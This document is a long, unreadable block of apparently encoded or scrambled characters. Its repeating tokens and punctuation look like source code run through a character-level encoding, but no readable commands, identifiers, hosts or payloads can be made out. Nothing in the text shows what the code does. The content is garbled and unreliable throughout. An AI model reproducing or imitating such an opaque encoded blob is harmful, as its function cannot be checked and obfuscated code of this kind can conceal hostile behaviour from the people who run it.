nCAVEh_TUZF nPB
B]FP^X9R[FAWTTJX^YZ]GCAVEh_R
@lGEYP 
nPB
B]FP^X_R
@lGEYP  	9AVGFA]IERJW TK V_E^ ^CPZJV^CIERJW TK VIERJW TK V	IERJW TK V9N9_
F\TIIZTFIRAARJ9EB
C\ZlAP^PVX_\G_^Z9E]AP@TR^\BGIYYU\WU\EBVIJKWBIC9_TUZFYDA[\
D@PQVUAV9_TUZF E]AP@TR^\BGYDA[\
D@PQVUAVE]AP@TR^\BG 9DDlT[Z ED PB
B]FP^X9DDlT[Z EDR[FAWTTJX^Y99_TUZF R[FAWTTJX^Y9999DDlT[Z ED Z@@VGl`vaevahE]AP@TR^\BGnZ]Gl`vaevahDDlT[Z EDn	R[FAWTTJX^Y999ZUE]AP@TR^\BG_R
@lGEYP
sFCWRGVl\CGZ\]DDlT[Z ED_
F\TIIZTFI_R
@lGEYP9^WX
]UZlGZUP]BBBVA
XCV@AY@^T9ZUsE]AP@TR^\BG 
^WX
]UZlGZUP]OOBRFY @QI@lG^^WX
]UZlGZUP]GAFVH9s_TUZFAWDVK[GKKWCFBl]TE]AP@TR^\BG_R
@lGEYP _
F\TIIZTFI99N9999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH999N9999N9UF]PGZ\][\QB^G]@ G^JTD_Z_
F\TIIZTFI9HZVFY 
IVFRE__ \IY\_ZVFY 
IVFRE_ZVFY 
IVFRE_	ZVFY 
IVFRE_9ZUE]AP@TR^\BG _
F\TIIZTFIOOV^CGJ_
F\TIIZTFIhDDlT[Z ED
nOO_TUZF_
F\TIIZTFIhDDlT[Z ED
nAVGFA]_R
@lGEYP9^XUQlGD[XBG_
F\TIIZTFIhDDlT[Z ED
n9999ZUsE]AP@TR^\BG^XUQlGD[XBGOOZ]GsDDlT[Z ED^XUQlGD[XBGAVGFA]E]AP@TR^\BG9ZU@K
^XR_JJlP^XUQlGD[XBGAVGFA]_R
@lGEYP99P
 TU
l \[W_Z@@VG_
F\TIIZTFIhE]AP@TR^\BG n_
F\TIIZTFIh_TUZF n	9VDV@FQPIV Z@@VG_
F\TIIZTFIhDDlT[Z ED nZ]G_
F\TIIZTFIhE]AP@TR^\BGn	999ZUP
 TU
l \[W__TUZFAVGFA]VDV@FQPIV _TUZFVDV@FQPIV  
E]AP@TR^\BG	DDlT[Z ED9ZUP
 TU
l \[W__TUZF
AVGFA]_TUZF9ZUP
 TU
l \[W_E]AP@TR^\BG AVGFA]VDV@FQPIV _TUZFVDV@FQPIV KVKRDDlT[Z ED	_R
@lGEYP9AVGFA]_TUZF9N9UF]PGZ\]]U_lC_RU^@E]U[IXWQCAQQ9999H9ZUsE]AP@TR^\BG]U[IXWQCAQQAVGFA]UR_@V99CEX
FJWZ]Gs_R
@lGEYP]U[IXWQCAQQ9ZUCEX
FJWOOCEX
FJWAVGFA]UR_@V99][\CVDB[
BD\s_TUZF]U[IXWQCAQQUR_@V]F__ 
99ZUDDlT[Z ED][\CVDB[
BD\OODDlT[Z ED DDlT[Z ED
][\CVDB[
BD\AVGFA]UR_@V9ZUCEX
FJW H9^WZFYV XKY]Zs_TUZF]U[IXWQCAQQUR_@V]F__CEX
FJWKW
VK9AVGFA]E]AP@TR^\BG^WZFYV XKY]Z_R
@lGEYP
E]AP@TR^\BG^WZFYV XKY]Z9N9JWF\WA\R__sE]AP@TR^\BG]U[IXWQCAQQ9999ZU_R
@lGEYPJWF\WA\R__AVGFA]UR_@V9AVGFA]ZRG
\KYQ\R AXGJWF\WA\R__9N9UF]PGZ\]@K
^XR_JJlP]U[IXWQCAQQ9H99AYRKTE\^DDlT[Z ED]U[IXWQCAQQ_TUZF 9U\AVRP[RAARJ_TUZF ]U[IXWQCAQQVAIWl[U_Q@W
EZPCT
@R@KYXQV
YBXYGE\H9E_]EFCQKYXQV
YBXYGE\DDlT[Z ED
AYRKTE\^9ZUs_R
@lGEYPE_]EFCQOOZ]Gs_R
@lGEYPE_]EFCQE]AP@TR^\BG 
 P\]GZ]FV99Y GlKQ@Z_TUZF @GAZ]Ts_R
@lGEYPE_]EFCQ9ZUY GlKQ@ZP\]GZ]FV9999JWF\WA\R__@GAZ]Ts_R
@lGEYP]U[IXWQCAQQ9ZU_R
@lGEYP
JWF\WA\R__JWF\WA\R__QYDlT@]@EWXY@ZT[YT\FYJWF\WA\R__9ZUJWF\WA\R___R
@lGEYPJWF\WA\R__Y GlKQ@ZAVGFA]GAFV9N9AVGFA]UR_@V9N9UF]PGZ\]BAIIG^TR]KWYI]U[IXWQCAQQ9H9ZU_TUZFDDlT[Z EDOO_TUZFDDlT[Z EDAVGFA]9JFTRAKQE\ZZsTVGl\CGZ\]_R
@lGEYP
RAARJ9ZUE]AP@TR^\BG JFTRAKQE\ZZJFTRAKQE\ZZRAARJ999JFTRAKQE\ZZhDDlT[Z ED]U[IXWQCAQQn]U[IXWQCAQQ9ZUDDlT[Z ED
JFTRAKQE\ZZ JFTRAKQE\ZZ_TUZFJFTRAKQE\ZZ]F__GAFV9sFCWRGVl\CGZ\]_TUZFJFTRAKQE\ZZDDlT[Z ED9N9UF]PGZ\]RJXJ\]C@][DDI[TI9H9ZU_R
@lGEYP_TUZFOOE]AP@TR^\BG DDlT[Z EDAVGFA]9JFTRAKQE\ZZsTVGl\CGZ\]E]AP@TR^\BGRAARJ9ZU_TUZF JFTRAKQE\ZZOOV^CGJJFTRAKQE\ZZAVGFA]9K
JR]^G]DRAARJ9U\AVRP[JFTRAKQE\ZZR@\@Z@EPKFUF@^^XUQlGD[XBGH9ZU_R
@lGEYP^XUQlGD[XBGOO^XUQlGD[XBGOOsE]AP@TR^\BG^XUQlGD[XBGP\]GZ]FV9ZUW
VJ B_P]PGI^XUQlGD[XBGUR_@VHK
JR]^G]Dh\@Z@EPKFUF@^n^XUQlGD[XBGP\]GZ]FVN9QD^BPU^^^C \V^XUQlGD[XBG 
9ZUD_[][\JlFKFCVGRU^XUQlGD[XBGH9ZU_TUZF E]AP@TR^\BGs\CPRP[VlZ]ER_ZWRGV^XUQlGD[XBGGAFV9999NV_@VZUs_R
@lGEYP^XUQlGD[XBGH9K
JR]^G]Dh\@Z@EPKFUF@^n^XUQlGD[XBG9N9AVYVPGZ]U_RGZ\]RAJ^VWZRG\A99N9sFCWRGVl\CGZ\]DDlT[Z EDK
JR]^G]DDDlT[Z ED9N999UF]PGZ\]AQQl^E
KGPKYC@@9999H9999GAJH9TDKQ[VTBBQI_TUZF DDlT[Z EDsVAA\AlTVGl_R@G	]F__9999ZU99DDlT[Z ED TDKQ[VTBBQIV^CGJTDKQ[VTBBQIhDDlT[Z EDnV^CGJTDKQ[VTBBQIh_R
@lGEYPn9E]AP@TR^\BGTDKQ[VTBBQIh_R
@lGEYPnRAARJvlvaa|avlcra`vvlp|avlvaa|avlp|~czvlvaa|avlf`valvaa|aGAFV9H9dcF@Vz]]VAq_\PX@cA\C@	ZAAVWFPZQ_VCAZ\AZGJBFVFV99GDJQX^XZTV^
Vs_TUZF
YDA[\
D@PQVUAV999lVUsDDlT[Z EDTDKQ[VTBBQIhE]AP@TR^\BGn9ZU_R
@lGEYPGDJQX^XZTV^
VDDlT[Z EDlVUlVUGDJQX^XZTV^
VAVGFA]9N9lRP
KRDBF
^FTBDDlT[Z ED9ZUWVUZ]VW_TUZFHETW]]_FDPKc{clz}gl~rkc{clz}gl~rkE@F _FETW]]_FDPK
9[J@XFZGVl
EXP[V KlYB
 R 9ZUs_R
@lGEYP[J@XFZGVl
EXP[hnH9^WCZ]FWAKs_TUZF[J@XFZGVl
EXP[hnUR_@V]F__  9ZU_TUZF^WCZ]FWAKE]AP@TR^\BG ^WCZ]FWAKE]AP@TR^\BG B
C\ZlAP^PVX_\G_^Z	H9TlQZ@GZ[TlRsDDlT[Z ED [J@XFZGVl
EXP[hnE]AP@TR^\BGsDDlT[Z ED[J@XFZGVl
EXP[hn_TUZFUR_@V]F__KK R	9ZUTlQZ@GZ[TlR^WCZ]FWAKs_R
@lGEYP[J@XFZGVl
EXP[hn[J@XFZGVl
EXP[hnDDlT[Z ED9N9N9999F]@VG[J@XFZGVl
EXP[^WCZ]FWAKTlQZ@GZ[TlR9N9NPRGP[g[A\DRQ_VB]QEATG\KWH9NPRGP[vKPVCGZ\]B]QEATG\KWH9N9N9UF]PGZ\]A\BQKCT@ETAJAK^Z
@KBZ9999H9ZUE]AP@TR^\BG^Z
@KBZAVGFA]9ZUE]AP@TR^\BGDDlT[Z ED^Z
@KBZ^IUD^VIFB\KTEH9U\AVRP[^IUD^VIFB\KTEhnR@WGC^]QZJH9ZUDDVC@][@ZEFXY_R
@lGEYPWGC^]QZJGAFVAVGFA]9N9999N99ZUE]AP@TR^\BG
E]AP@TR^\BG
^Z
@KBZ^IUD^VIFB\KTEH9U\AVRP[^IUD^VIFB\KTEhnR@WGC^]QZJH9ZUDDVC@][@ZEFXY@GAZCP@_R@[V@WGC^]QZJAVGFA]9ZU_R
@lGEYP WGC^]QZJ_R
@lGEYP
UR_@VH9P\VAPVG\\QYVPG9999XXACEEPJlJ ECAVTlAVC_RPVlPR__QRPXDDlT[Z ED
DDlT[Z ED
 WGC^]QZJ999ZUDDlT[Z EDXXACEEPJlJ EXXACEEPJlJ EWGC^]QZJDDVC@][@ZEFXYXXACEEPJlJ EAVGFA]9N9N9N9ZUDDlT[Z ED
_TUZF
^Z
@KBZ^IUD^VIFB\KTEH9U\AVRP[^IUD^VIFB\KTEhnR@WGC^]QZJH9ZUDDVC@][@ZEFXYDDlT[Z EDRAARJE]AP@TR^\BG
_TUZF
RAARJoooWGC^]QZJAVGFA]9ZUDDlT[Z ED WGC^]QZJ_R
@lGEYP
UR_@VH99XXACEEPJlJ ECAVTlAVC_RPVlPR__QRPXDDlT[Z ED
DDlT[Z ED
 WGC^]QZJ9ZU_R
@lGEYPXXACEEPJlJ EXXACEEPJlJ EWGC^]QZJDDVC@][@ZEFXYXXACEEPJlJ EAVGFA]999N9N9N9AVGFA]^Z
@KBZ9N9UF]PGZ\]GJGEIB^R]J\QX[F[ VYlQCIQGAD]999H9999ZUDDlT[Z ED
lQCIQGAD]OODDlT[Z ED lQCIQGAD]DDlT[Z ED
UR_@VDDlT[Z ED lQCIQGAD]_TUZFUR_@VAVGFA]UR_@V9ZUE]AP@TR^\BG
_TUZFlQCIQGAD]^IUD^VIFB\KTEH9U\AVRP[^IUD^VIFB\KTEhnR@WGC^]QZJH9ZUDDVC@][@ZEFXY_R
@lGEYPWGC^]QZJGAFVAVGFA]GAFV999N9N9ZUDDlT[Z ED
DDlT[Z ED
lQCIQGAD]^IUD^VIFB\KTEH9999U\AVRP[^IUD^VIFB\KTEhnR@WGC^]QZJH9ZUDDVC@][@ZEFXY@GAZCP@_R@[V@WGC^]QZJAVGFA]GAFV9N9U\AVRP[^IUD^VIFB\KTEhnR@WGC^]QZJH9ZU_R
@lGEYP WGC^]QZJE]AP@TR^\BG
UR_@VP\]GZ]FVZIPJBB]R
TK^YYCCZIPJBB]R
T 9XXACEEPJlJ ECAVTlAVC_RPVlPR__QRPXDDlT[Z ED
DDlT[Z ED

WGC^]QZJ9ZU_R
@lGEYP
XXACEEPJlJ EXXACEEPJlJ EWGC^]QZJDDVC@][@ZEFXYXXACEEPJlJ EAVGFA]GAFV9N9N9ZUE]AP@TR^\BG
DDlT[Z ED
lQCIQGAD]^IUD^VIFB\KTEH9U\AVRP[^IUD^VIFB\KTEhnR@WGC^]QZJH99ZUDDVC@][@ZEFXYDDlT[Z EDRAARJDDlT[Z EDDDlT[Z ED
RAARJoooWGC^]QZJAVGFA]GAFV99N9U\AVRP[^IUD^VIFB\KTEhnR@WGC^]QZJH9ZUDDlT[Z EDWGC^]QZJE]AP@TR^\BG
UR_@VP\]GZ]FV9XXACEEPJlJ ECAVTlAVC_RPVlPR__QRPXE]AP@TR^\BG
E]AP@TR^\BGWGC^]QZJ9ZU_R
@lGEYP
XXACEEPJlJ EXXACEEPJlJ EWGC^]QZJDDVC@][@ZEFXYXXACEEPJlJ EAVGFA]GAFV99N9N9AVGFA]UR_@V9N999UF]PGZ\][UDGQ^[Gl[_lQCIQGAD]9H9ZU_R
@lGEYP lQCIQGAD]OOlQCIQGAD]AVGFA]9AVGFA]_R
@lGEYP_TUZFE]AP@TR^\BG  lQCIQGAD]K KRPRQVIU YZZQVIU YZZhn	9N999UF]PGZ\]\TBX[I
^Q[TJWF\WA\R__DWGKRlGIZQ@]W\lXAG A]F__9H9ZU_TUZF JWF\WA\R__OOJWF\WA\R__AVGFA]JWF\WA\R__9B F]C _JBWWR_R
@lGEYP
DWGKRlGIZQ@E]AP@TR^\BG

9K
^^RPP^^EXE999GA[APDCXlI_9D[Z_VGA[APDCXlI_ H9999RA_APGKCUWWW_R
@lGEYPJWF\WA\R__B F]C _JBWWR9ZURA_APGKCUWWWUR_@VQAVRX9@^FWU[BGKQPRA_APGKCUWWWDDlT[Z EDB F]C _JBWWR9[\IWGJRIFDDlT[Z EDJWF\WA\R___TUZF@^FWU[BGKQP9ZU[\IWGJRIFUR_@VOO[\IWGJRIF@^FWU[BGKQP H9K
^^RPP^^EXE_TUZFJWF\WA\R__@^FWU[BGKQP9JWF\WA\R___TUZF
JWF\WA\R__@^FWU[BGKQP999P\]GZ]FV9N9JBV\
BRGlADDlT[Z ED
JWF\WA\R__@^FWU[BGKQP[\IWGJRIF@^FWU[BGKQP9ZU_TUZFDDlT[Z EDJBV\
BRGlAH9K
^^RPP^^EXEDDlT[Z ED
JWF\WA\R__@^FWU[BGKQP9JWF\WA\R__E]AP@TR^\BG
JWF\WA\R__@^FWU[BGKQP9P\]GZ]FV999N99BFAV\R_QBE]AP@TR^\BGDWGKRlGIZQ@_R
@lGEYPJBV\
BRGlA_R
@lGEYP 9C]W_VY
PTE]AP@TR^\BGJWF\WA\R__BFAV\R_QB[\IWGJRIF9ZUC]W_VY
PTUR_@VQAVRX9K
^^RPP^^EXE_R
@lGEYPJWF\WA\R__RA_APGKCUWWW9__VY__DYR DDlT[Z EDJWF\WA\R__RA_APGKCUWWWC]W_VY
PT_R
@lGEYPBFAV\R_QBRA_APGKCUWWW99ZU]W\lXAG A]F__H9999WA]V @Z VTDG
_TUZF ]W\lXAG A__VY__DYR 9ZUDDlT[Z ED WA]V @Z VTDG
K
^^RPP^^EXEWA]V @Z VTDG
99NV_@VH9K
^^RPP^^EXE__VY__DYR 9N9dc`VRAP[q_\PX	V@PRCVR]R_JIVQA\RWPR@GVA9999JWF\WA\R___TUZFJWF\WA\R__C]W_VY
PTE]AP@TR^\BGBFAV\R_QB9N9AVGFA]K
^^RPP^^EXEJWF\WA\R__9N9999UF]PGZ\]AIGFU_ZC@]lJEZZY^Z
@KBZ9H9AVGFA]9N9UF]PGZ\]ZZAZEA[B\GJK^Z
@KBZ9H9ZU_TUZF ^Z
@KBZAVGFA]9ZUWVUZ]VWDDlT[Z EDAVGFA]^Z
@KBZ99UJDUCFCBR
BQ
D\KCTWT^C^KB\rq`crg{_TUZF m9ZU_R
@lGEYPDDlT[Z ED
UJDUCFCBR
DDlT[Z ED^Z
@KBZAVGFA]9AVGFA]^Z
@KBZ9N9UF]PGZ\]F[EVBYFUE[QU
IJWF\WA\R__9H999ZUE]AP@TR^\BGJWF\WA\R__OOJWF\WA\R__AVGFA]JWF\WA\R__9VVZRG^JUEQ[VG\TBX[I
^Q[TJWF\WA\R__DDlT[Z EDE]AP@TR^\BG 9VVZRG^JUEQ[VG\TBX[I
^Q[TVVZRG^JUEQ[VG_R
@lGEYPE]AP@TR^\BG9ZUE]AP@TR^\BGVVZRG^JUEQ[VGVVZRG^JUEQ[VG_R
@lGEYP_TUZFVVZRG^JUEQ[VG9ZUDDlT[Z EDVVZRG^JUEQ[VGVVZRG^JUEQ[VGJWF\WA\R__9ZUGJGEIB^R]J\QX[F[ VYVVZRG^JUEQ[VGH9VVZRG^JUEQ[VG\TBX[I
^Q[TVVZRG^JUEQ[VG_R
@lGEYPDDlT[Z ED9VVZRG^JUEQ[VG\TBX[I
^Q[TVVZRG^JUEQ[VG_R
@lGEYP
_R
@lGEYP9ZUE]AP@TR^\BGVVZRG^JUEQ[VGVVZRG^JUEQ[VG_TUZF_TUZF VVZRG^JUEQ[VG9N9AVGFA]_R
@lGEYPVVZRG^JUEQ[VGVVZRG^JUEQ[VG	JWF\WA\R__9N9999UF]PGZ\]Y]KDCQWCE__KJWF\WA\R__9H9ZUE]AP@TR^\BGJWF\WA\R__OOWVUZ]VW_R
@lGEYP AVGFA]UR_@V9ZU_R
@lGEYP_R
@lGEYP JWF\WA\R__AVGFA]GAFV9QGVR X\\XRBQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BGK K9ZUE]AP@TR^\BG _TUZF  JWF\WA\R__^@R W]D_@@UAK
H9U\AVRP[^@R W]D_@@UAK
hnR@B@A^GJ\EPDBAH9ZU_TUZFB@A^GJ\EPDBA	QGVR X\\XRAVGFA]GAFV9N9N9lWW_R
@lGEYP E]AP@TR^\BG rq`crg{_R
@lGEYP  mPR[TlD J^
CTI ]T^IPR[TlD9ZU_TUZF E]AP@TR^\BG JWF\WA\R__lW^H99U\AVRP[lW^hnR@[XCZQ\^
H9ZU[XCZQ\^
lWWAVGFA]GAFV9N9N9AVGFA]UR_@V9N99UF]PGZ\]FEX_WUW\AJ
[A]EKlC9H9ZUZ@@VGltvghDDlT[Z ED 
nOODDlT[Z EDltvghE]AP@TR^\BG 
nOO_R
@lGEYP E]AP@TR^\BGAVGFA]9P
 TU
l \[W_sTVGl\CGZ\]DDlT[Z EDRAARJ99ZU_R
@lGEYPP
 TU
l \[W_AVGFA]DB ]YP[GI^ 

ZGG
F@TDB ]YP[GI^DB ]YP[GI^	DB ]YP[GI^9R\GX^PIYZ@X 
D\l@GAZ]Tltvgh_TUZF 
n999YWGU]CDDDJRAARJ9ZUZ@@VGP
 TU
l \[W_hGnYWGU]CDDDJhn@GAZ]TP
 TU
l \[W_hGn99ZUZ@@VGP
 TU
l \[W_h_TUZF nDDlT[Z EDP
 TU
l \[W_hDDlT[Z ED nH9U\AVRP[P
 TU
l \[W_h_TUZF nR@VF
Y[^GVKX_ZH9P\A]VAPR@V[R]W_VA99ZU_TUZFVF
Y[^GVKX_ZZ@@VGVF
Y[^GVKX_ZhGnYWGU]CDDDJhn@GAZ]TVF
Y[^GVKX_ZhGn99N9999N9JAZY[]Z_[EUR_@V9U\AVRP[YWGU]CDDDJR@IJ\D]X
H9ZUIJ\D]X
P\]GZ]FV9999JAZY[]Z_[EDDlT[Z ED E]AP@TR^\BG[R@[lVBFR_@IJ\D]X
R\GX^PIYZ@X 
D\l	IJ\D]X
R\GX^PIYZ@X 
D\l9ZUJAZY[]Z_[EQAVRX9N9ZUJAZY[]Z_[EAVGFA]9ZUDDlT[Z ED E]AP@TR^\BGH9999_R
@lGEYPUF]PGZ\]F@VR\GX^PIYZ@X 
D\lH9VP[\o]`px	R\GX^PIYZ@X 
D\l_TUZF999N99N9N9UF]PGZ\]UDT@_KVCRFI DBJBJ][9H9ZU_R
@lGEYPDDlT[Z EDAVGFA]UR_@VZlC
J_c{cl~ry|aleva`z|}PBlXTGKDYI ZlC
J_9QVIU YZZsTVGl\CGZ\]_TUZF
9ZUDDlT[Z EDQVIU YZZOO_TUZFQVIU YZZ_TUZFAVGFA]UR_@V9VDV@FQPIV Z]G_R
@lGEYP QVIU YZZKK99ZUVDV@FQPIV DDlT[Z EDVDV@FQPIV  
AVGFA]UR_@V9AVGFA]GAFV9N9UF]PGZ\]DZQEAXZYUl ZC
]U[IXWQCAQQYECU_RGWR9H9ZUE]AP@TR^\BG_TUZFOOE]AP@TR^\BGE]AP@TR^\BGAVGFA]UR_@V99ZUUDT@_KVCRFI DBJBJ][AVGFA]GAFV9P
 TU
l \[W_sTVGl\CGZ\]E]AP@TR^\BGRAARJ9ZU_R
@lGEYPP
 TU
l \[W_P
 TU
l \[W_RAARJ999ZUZ@@VGP
 TU
l \[W_h_R
@lGEYP nOODDlT[Z EDP
 TU
l \[W_hDDlT[Z ED nH9dc`\PZR_Z]X@PF@G\^ZIVAGAR]@C\AG99WCEFXK ^IYWARAARJ999ZUZ@@VGP
 TU
l \[W_hGnP
 TU
l \[W_hCnP
 TU
l \[W_hQnH\XJX\QYRK ]@PJIXB\XJX\QYRK 9WCEFXK ^IYWAh_R
@lGEYP @GAZ]TP
 TU
l \[W_hCnnRAARJG@GAZ]TP
 TU
l \[W_hGnC@GAZ]TP
 TU
l \[W_hCnQ@GAZ]TP
 TU
l \[W_hQnE]AP@TR^\BG Z@@VGP
 TU
l \[W_hE]AP@TR^\BGnZ]GP
 TU
l \[W_hE]AP@TR^\BGn	DDlT[Z ED_R
@lGEYP]9N9P
 TU
l \[W_RAARJ_TUZF WCEFXK ^IYWA9N9JBV\
BRGlADDlT[Z ED ]U[IXWQCAQQ9999ZUZ@@VGP
 TU
l \[W_h_TUZF nhJBV\
BRGlAnH999P
 TU
l \[W_h_R
@lGEYP nhJBV\
BRGlAnh_TUZFnE]AP@TR^\BGCDA^P\D[]l
XWlXFXB\ACDA^P\D[]l9P
 TU
l \[W_h_R
@lGEYP nhJBV\
BRGlAnhE]AP@TR^\BGn9P
 TU
l \[W_h_R
@lGEYP nhJBV\
BRGlAnh]nYECU_RGWR	9ZU_Bl[
X^GYCY^P P
 TU
l \[W_hDDlT[Z EDnhJBV\
BRGlAnhQnYECU_RGWRHl\BRAJ[FQ 
^GAEI^Bl\BRAJ[FQ9XJRP]KB[T_R
@lGEYPE]AP@TR^\BG
9AVGFA]UR_@V9N9NV_@VH9^WX
]UZlGZUP]BBBVA
XCV@AY@^T_G]W
[B ZKc{cl~ry|aleva`z|}VTFGY@ II_G]W
[B ZK9AVCBCJ
FI[R^WX
]UZlGZUP]E]AP@TR^\BGBQ
D\KCTWT^C^KB\]U[IXWQCAQQ 
DDlT[Z ED9ZU_Bl[
X^GYCY^P AVCBCJ
FI[RYECU_RGWRH9XJRP]KB[TDDlT[Z EDE]AP@TR^\BG
9999AVGFA]UR_@V9999N99P
 TU
l \[W_h_R
@lGEYPnhJBV\
BRGlAnRAARJGTQIP_ U^[RIRC]U[IXWQCAQQQAVCBCJ
FI[R_R
@lGEYPDDlT[Z ED_R
@lGEYP]YECU_RGWR	9N9999D[Z_VE]AP@TR^\BG
P
 TU
l \[W_h_TUZFn
H9QD\KGVY@]F__9A

UE
R@@V]F__9U\AVRP[P
 TU
l \[W_hE]AP@TR^\BGnR@YZZl]@\BE\FFPDG WBZ
K [BlH9ZUA

UE
R@@V]F__OOZ]GPDG WBZ
K [BlhDDlT[Z ED nA

UE
R@@VH9A

UE
R@@VZ]GPDG WBZ
K [BlhE]AP@TR^\BGn9QD\KGVY@YZZl]@\BE\FF9N9N9z]G_VKGV]@Z\]	F]_\PXRAQZGARG\A99ZUQD\KGVY@]F__QAVRX9D_[][\JlFKFCVGRUP
 TU
l \[W_hE]AP@TR^\BGnhQD\KGVY@nhQn9F]@VGP
 TU
l \[W_h_R
@lGEYPnhQD\KGVY@n9N9sFCWRGVl\CGZ\]_R
@lGEYPP
 TU
l \[W__TUZF999E]AP@TR^\BGDDlT[Z ED9AVGFA]GAFV9N9UF]PGZ\]PIQ^K]DI\QE VFD@D[AJ C]XWZPT I9H9QFY]WRRJWU\sDDlT[Z EDAJ C]XWZPT IRAARJDDlT[Z ED
 
_TUZFUR_@VE]AP@TR^\BG GAFVDDlT[Z EDE]AP@TR^\BGRAARJ_TUZFE]AP@TR^\BG
DDlT[Z ED_TUZF 9ZU_TUZF_R
@lGEYP  Z@lDClVAA\AQFY]WRRJWU\AVGFA]RAARJUR_@V9QF\\JE@_R
@lGEYPE]AP@TR^\BGZ]GDClAV^\GVlAVGAZVEVlAV@C\]@VlP\WVQFY]WRRJWU\	IKB[YV]UG@X@EAIBPREIKB[YV]9AVGFA]RAARJQF\\JE@QF\\JE@DDlT[Z ED_R
@lGEYP@GAZ]TDClAV^\GVlAVGAZVEVlQ\WJQFY]WRRJWU\	9N9UF]PGZ\]@^TI]YQ^\CIl UVF
Y[^GVKX_Z9H9KRJ
F^RAFUFs_R
@lGEYPVF
Y[^GVKX_ZhQn9ZUE]AP@TR^\BGKRJ
F^RAFUFAVGFA]UR_@V9ZUKRJ
F^RAFUFH9999ZUV^CGJVF
Y[^GVKX_Zh]nAVGFA]UR_@V9VABZQ ^JG Q^@Js_TUZF VF
Y[^GVKX_ZhCn9ZUVABZQ ^JG Q^@JH9QD^BPU^^^C \VVF
Y[^GVKX_ZhCn99VABZQ ^JG Q^@JD_[][\JlFKFCVGRUVF
Y[^GVKX_ZhCn99N9ZU_R
@lGEYPE]AP@TR^\BG s\CPRP[VlZ]ER_ZWRGVVF
Y[^GVKX_ZhCnGAFV999AVGFA]VABZQ ^JG Q^@J999N9ZU_Bl[
X^GYCY^P VF
Y[^GVKX_ZhCnKRJ
F^RAFUFAVGFA]UR_@V9ZUDDlT[Z EDDDlT[Z ED s\CPRP[VlZ]ER_ZWRGVVF
Y[^GVKX_ZhCnGAFVEW\YBGKUJ c{cl~ry|aleva`z|}RlZ DQ
_EW\YBGKUJ 9AVGFA]GAFV9N99UF]PGZ\]P[Il_ZFG\XI^\P^9H9ZUE]AP@TR^\BGE]AP@TR^\BGAVGFA]9P
 TU
l \[W_sTVGl\CGZ\]_TUZFRAARJ9ZUE]AP@TR^\BGP
 TU
l \[W_AVGFA]9ZUZ@@VGP
 TU
l \[W_h_TUZFnOOE]AP@TR^\BGP
 TU
l \[W_h_TUZFnH9999WCEFXK ^IYWARAARJ9ZUZ@@VGP
 TU
l \[W_hGnP
 TU
l \[W_hCnP
 TU
l \[W_hQnH9WCEFXK ^IYWAhDDlT[Z ED @GAZ]TP
 TU
l \[W_hCnnRAARJG@GAZ]TP
 TU
l \[W_hGnC@GAZ]TP
 TU
l \[W_hCnQ@GAZ]TP
 TU
l \[W_hQn_TUZFZ@@VGP
 TU
l \[W_hDDlT[Z EDnZ]GP
 TU
l \[W_hE]AP@TR^\BGn	E]AP@TR^\BG_TUZF9N9P
 TU
l \[W_RAARJDDlT[Z EDWCEFXK ^IYWA9N99ZUV^CGJP
 TU
l \[W_hDDlT[Z EDnH9sWV_VGVl\CGZ\]DDlT[Z ED99AVGFA]9N999@GRGZPAVQl D[YUR_@V9ZUAVQl D[YAVGFA]9AVQl D[YGAFV9ZU_TUZF_TUZF  sDDlT[Z ED  9V_@VZUDDlT[Z ED_TUZFsDDlT[Z ED99ZU_TUZFDDlT[Z ED sDDlT[Z EDGAFV9ZU_TUZF
E]AP@TR^\BGOO_TUZF
DDlT[Z EDAVGFA]9W[EJ]A @^\[CD[\^VlFA_9999TX FDD_R
@lGEYP
DDlT[Z ED
DCl_\TZ]lFA_	W[EJ]A @^\[CDE]AP@TR^\BG9@]AAKPKY^UUR_@V9@RXX\lWTDlGGAFV9T@I[YCXCEm99U\AVRP[P
 TU
l \[W_hDDlT[Z EDnR@JBV\
BRGlAVF
Y[^GVKX_ZH9ZU_TUZFVF
Y[^GVKX_ZOOV^CGJVF
Y[^GVKX_ZhGnOOV^CGJVF
Y[^GVKX_ZhCnOOV^CGJVF
Y[^GVKX_ZhQnH9F]@VGP
 TU
l \[W_hDDlT[Z EDnhJBV\
BRGlAn9@]AAKPKY^UGAFV9P\]GZ]FV9N9dc`VRAP[q_\PX	EVPG\AZIV^VWZRG\A99ZU_TUZFZ]GVF
Y[^GVKX_ZhE]AP@TR^\BGn OOZ]GVF
Y[^GVKX_Zh_R
@lGEYPnH9XJRP]KB[TE]AP@TR^\BGE]AP@TR^\BGE]AP@TR^\BGVF
Y[^GVKX_ZhCn9D_[][\JlFKFCVGRUVF
Y[^GVKX_ZhQn9F]@VGP
 TU
l \[W_hE]AP@TR^\BGnhJBV\
BRGlAn9@]AAKPKY^UGAFV9P\]GZ]FV9N9ZUT@I[YCXCEQAVRX9T@I[YCXCE9E_]EFCQDDlT[Z ED_TUZF VF
Y[^GVKX_ZhGnDDlT[Z ED_TUZF

K
KQQ9_Z@GQF\\JE@B@EXZJ__^PIQ^K]DI\QE VFD@D[W[EJ]A @^\[CDE_]EFCQ999ZUQF\\JE@@RXX\lWTDlGUR_@V9999ZUQF\\JE@E]AP@TR^\BG
DDlT[Z ED_TUZF9ZUQF\\JE@H9_Z@GQF\\JE@B@EXZJ__^PIQ^K]DI\QE VFD@D[W[EJ]A @^\[CDE_]EFCQ9ZUQF\\JE@@RXX\lWTDlGUR_@V9999N9ZUQF\\JE@H9P
 TU
l \[W_h_R
@lGEYPnhJBV\
BRGlAnh_R
@lGEYPnYXFT Gl\AP[ZlT
 F_ZEBlUYXFT Gl\AP[Z  9999@]AAKPKY^UGAFV999P\]GZ]FV9N999ZUQF\\JE@ H9ZU@^TI]YQ^\CIl UVF
Y[^GVKX_ZH999XJRP]KB[T_R
@lGEYPE]AP@TR^\BGDDlT[Z EDVF
Y[^GVKX_ZhCn9D_[][\JlFKFCVGRUVF
Y[^GVKX_ZhQn9F]@VGP
 TU
l \[W_h_TUZFnhJBV\
BRGlAn9NV_@VH9P
 TU
l \[W_hDDlT[Z EDnhJBV\
BRGlAnhE]AP@TR^\BGn9N9@]AAKPKY^UGAFV9999P\]GZ]FV999N9ZU_R
@lGEYPB@EXZJ__^DDlT[Z ED
VF
Y[^GVKX_ZhGnE]AP@TR^\BGUR_@VH9D_[][\JlFKFCVGRUVF
Y[^GVKX_ZhQn9999F]@VGP
 TU
l \[W_hDDlT[Z EDnhJBV\
